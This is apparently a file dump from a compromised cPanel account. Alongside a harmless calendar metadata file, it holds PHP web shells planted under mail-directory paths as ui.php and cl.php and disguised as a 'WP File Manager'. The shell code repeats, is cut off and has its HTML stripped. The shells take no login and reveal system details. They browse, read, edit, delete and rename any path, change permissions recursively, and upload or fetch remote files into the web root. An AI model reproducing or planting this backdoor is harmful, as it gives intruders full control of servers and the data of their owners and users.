📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëelsa@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ÔBBenis@drsupernova.com/.metadatanu„[µü¤[calendar] type VCALENDAR description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar protected 1 [addressbook] protected 1 displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. type VADDRESSBOOK PK’&{]„N9³§Ë§Ëenis@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
